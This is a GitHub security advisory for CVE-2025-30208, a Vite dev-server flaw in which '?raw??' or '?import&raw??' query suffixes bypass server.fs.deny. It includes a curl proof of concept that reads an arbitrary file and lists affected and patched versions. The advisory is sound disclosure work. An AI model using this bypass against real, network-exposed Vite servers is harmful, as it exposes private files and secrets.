Headline
GHSA-x574-m823-4x7w: Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
Details
@fs
denies access to files outside of Vite serving allow list. Adding ?raw??
or ?import&raw??
to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ?
are removed in several places, but are not accounted for in query string regexes.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Skip to content
Navigation Menu
GitHub Copilot
Write better code with AI
Security
Find and fix vulnerabilities
Actions
Automate any workflow
Codespaces
Instant dev environments
Issues
Plan and track work
Code Review
Manage code changes
Discussions
Collaborate outside of code
Code Search
Find more, search less
Explore
- Learning Pathways
- Events & Webinars
- Ebooks & Whitepapers
- Customer Stories
- Partners
- Executive Insights
GitHub Sponsors
Fund open source developers
* The ReadME Project
GitHub community articles
Enterprise platform
AI-powered developer platform
- Pricing
Provide feedback
Saved searches****Use saved searches to filter your results more quickly
Sign up
- GitHub Advisory Database
- GitHub Reviewed
- CVE-2025-30208
Vite bypasses server.fs.deny when using ?raw??
Moderate severity GitHub Reviewed Published Mar 24, 2025 in vitejs/vite • Updated Mar 25, 2025
Affected versions
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
Patched versions
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
Description
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
$ echo “top secret content” > /tmp/secret.txt
expected behaviour
$ curl “http://localhost:5173/@fs/tmp/secret.txt”
<body\>
<h1>403 Restricted</h1>
<p\>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
security bypassed
$ curl “http://localhost:5173/@fs/tmp/secret.txt?import&raw??” export default “top secret content\n” //# sourceMappingURL=data:application/json;base64,eyJ2…
References
- GHSA-x574-m823-4x7w
- https://nvd.nist.gov/vuln/detail/CVE-2025-30208
- vitejs/vite@315695e
- vitejs/vite@80381c3
- vitejs/vite@807d7f0
- vitejs/vite@92ca12d
- vitejs/vite@f234b57
Published to the GitHub Advisory Database
Mar 25, 2025
Last updated
Mar 25, 2025
EPSS score